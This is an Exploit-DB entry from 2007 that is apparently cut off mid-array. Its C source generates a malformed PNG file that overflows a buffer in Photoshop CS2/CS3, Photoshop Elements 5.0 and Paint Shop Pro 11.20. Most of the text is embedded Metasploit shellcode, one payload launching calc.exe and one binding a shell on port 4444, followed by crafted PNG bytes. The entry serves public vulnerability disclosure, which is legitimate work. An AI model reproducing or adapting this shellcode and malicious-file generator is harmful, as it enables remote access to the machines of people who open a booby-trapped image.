Exploit-DB #3812
Description: Photoshop CS2/CS3 / Paint Shop Pro 11.20 - '.png' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-04-27
Author: Marsu

Exploit:
/****************************************************************************\
*                                                                            *
*     Photoshop CS2/CS3, Paint Shop Pro 11.20 .PNG File Buffer Overflow      *
*                                                                            *
* Like bitmap files, PNG files can do great things =D.                       *
* In french: "buffer overflow a gogo!"                                       *
*                                                                            *
* The generated .PNG file will work for:                                     *
*     -Photoshop CS2                                                         *
*     -Photoshop CS3                                                         *
*     -Photoshop Elements 5.0                                                *
*     -Corel Paint Shop Pro 11.20                                            *
*                                                                            *
* This sploit runs calc.exe or bind to port 4444.                            *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
\****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";

/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char BindShellcode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7"
"\x82\xf8\x80\x83\xeb\xfc\xe2\xf4\x0b\xe8\x13\xcd\x1f\x7b\x07\x7f"
"\x08\xe2\x73\xec\xd3\xa6\x73\xc5\xcb\x09\x84\x85\x8f\x83\x17\x0b"
"\xb8\x9a\x73\xdf\xd7\x83\x13\xc9\x7c\xb6\x73\x81\x19\xb3\x38\x19"
"\x5b\x06\x38\xf4\xf0\x43\x32\x8d\xf6\x40\x13\x74\xcc\xd6\xdc\xa8"
"\x82\x67\x73\xdf\xd3\x83\x13\xe6\x7c\x8e\xb3\x0b\xa8\x9e\xf9\x6b"
"\xf4\xae\x73\x09\x9b\xa6\xe4\xe1\x34\xb3\x23\xe4\x7c\xc1\xc8\x0b"
"\xb7\x8e\x73\xf0\xeb\x2f\x73\xc0\xff\xdc\x90\x0e\xb9\x8c\x14\xd0"
"\x08\x54\x9e\xd3\x91\xea\xcb\xb2\x9f\xf5\x8b\xb2\xa8\xd6\x07\x50"
"\x9f\x49\x15\x7c\xcc\xd2\x07\x56\xa8\x0b\x1d\xe6\x76\x6f\xf0\x82"
"\xa2\xe8\xfa\x7f\x27\xea\x21\x89\x02\x2f\xaf\x7f\x21\xd1\xab\xd3"
"\xa4\xd1\xbb\xd3\xb4\xd1\x07\x50\x91\xea\xe9\xdc\x91\xd1\x71\x61"
"\x62\xea\x5c\x9a\x87\x45\xaf\x7f\x21\xe8\xe8\xd1\xa2\x7d\x28\xe8"
"\x53\x2f\xd6\x69\xa0\x7d\x2e\xd3\xa2\x7d\x28\xe8\x12\xcb\x7e\xc9"
"\xa0\x7d\x2e\xd0\xa3\xd6\xad\x7f\x27\x11\x90\x67\x8e\x44\x81\xd7"
"\x08\x54\xad\x7f\x27\xe4\x92\xe4\x91\xea\x9b\xed\x7e\x67\x92\xd0"
"\xae\xab\x34\x09\x10\xe8\xbc\x09\x15\xb3\x38\x73\x5d\x7c\xba\xad"
"\x09\xc0\xd4\x13\x7a\xf8\xc0\x2b\x5c\x29\x90\xf2\x09\x31\xee\x7f"
"\x82\xc6\x07\x56\xac\xd5\xaa\xd1\xa6\xd3\x92\x81\xa6\xd3\xad\xd1"
"\x08\x52\x90\x2d\x2e\x87\x36\xd3\x08\x54\x92\x7f\x08\xb5\x07\x50"
"\x7c\xd5\x04\x03\x33\xe6\x07\x56\xa5\x7d\x28\xe8\x07\x08\xfc\xdf"
"\xa4\x7d\x2e\x7f\x27\x82\xf8\x80";

char png_file_part1[] = 
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
"\x00\x00\x01\xfd\x00\x00\x01\xb6\x08\x03\x00\x00\x00\x42\x8d\xaf"
"\x15\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xd7\x04\x0f\x10\x10\x15"
"\x55\x35\x65\x6b\x00\x00\x44\x09\x70\x48\x59\x73\x00\x00\x1e\x9a"
"\x00\x00\x1e\x9a\x01\xfc\x6f\x28\xf8\x00\x00\x00\x04\x67\x41\x4d"
"\x41\x00\x00\xb1\x8f\x0b\xfc\x61\x05\x00\x16\x00\x60\x50\x4c\x54"
"\x45\xff\xff\xff\xf1\xe9\xe6\xfa\xf7\xf3\xec\xe5\xde\xcc\x50\xcc"
"\xd9\xd9\xd9\xe0\xe9\xef\xa6\xc4\xd9\xac\xb4\xb4\x8c\xb6\xd5\x13"
"\x6e\xb6\x73\xa9\xd2\xc6\xd5\xdd\x2e\x80\xbc\x50\x94\xc5\xfa\xf2"
"\xe6\xbc\xd7\xea\x33\x33\x33\x4d\x4b\x48\x99\x99\x99\x70\x70\x70"
"\x8c\x8c\x8c\x1b\x1b\x19\x00\x68\xb4\xf0\xc9\xb4\xe5\x98\x3a\xf0"
"\x92\x6c\xef\xe0\xd3\xef\xb4\x98\xef\x64\x2e\xf7\xad\x32\xab\x85"
"\x38\xc4\x47\x14\xfc\x00\x00\x47\x49\x49\x44\x41\x54\x78\xda\xed"
"\x5d\x89\x82\xab\x2a\x0c\x55\xdc\xaa\x56\xad\x76\x9d\x2e\x77\xfe"
"\xff\x2f\x5f\x12\xd0\xba\x80\x80\xda\x76\x66\x9e\xe7\xbd\xdb\x76"
"\x5c\x50\x38\x10\x92\x10\xc0\x71\x56\xac\x58\xb1\x62\xc5\x8a\x15"
"\x2a\xb0\x4f\xbf\xc0\xff\x1d\x41\xd0\xfc\xdc\x54\xaf\x7a\x88\x5f"
"\x01\x8e\x3e\x3d\xc4\xe5\x8f\x3d\x30\xc7\xab\xca\xd2\xff\x74\xfe"
"\xff\xdf\x38\x3c\x29\xdf\x9c\x5e\xf5\x90\xe3\x69\x7f\x3c\x54\xa7"
"\xc3\xf3\x79\x9c\x6d\xb1\xea\xe0\x1f\x4f\xc1\xbc\x94\x57\xcc\x81"
"\x77\xaa\xcb\xdf\x75\x37\x25\xb4\x49\x4f\x9c\x60\x81\x10\xcb\x1e"
"\x36\x56\x57\x5c\x54\x1f\x6c\x2e\x6b"
;

char png_file_part2[] = 
"\xcc\x34\xa7\xcc\xe0\xd6\xcc\xea\x1f\xcc\x91\x28\x65\x4f\x47\x1a"
"\x08\x07\x40\x5d\xc2\x00\xe1\xbc\xbf\x0a\xff\x0f\xe2\x70\xa0\xc6"
"\xe8\x55\xc7\x72\xb3\x29\xfd\xb2\x2a\x2b\x24\x9a\x1d\xe0\xd7\x01"
"\x45\x36\x1c\x77\x5c\x90\xdb\xe5\x1e\xaf\x2e\xe1\x2f\xfc\x82\x03"
"\x28\xb3\x37\xf8\x23\xc0\x3e\x03\x7e\xd1\x29\xba\x91\x92\x38\x62"
"\x0a\x82\xdb\x63\xdd\xe0\x5d\x78\x20\xa6\x0b\xec\x33\x46\x3f\x56"
"\x7c\x0e\xee\x29\x70\xb1\xf1\x7b\x27\x60\x6c\x73\x2a\x37\xcc\x3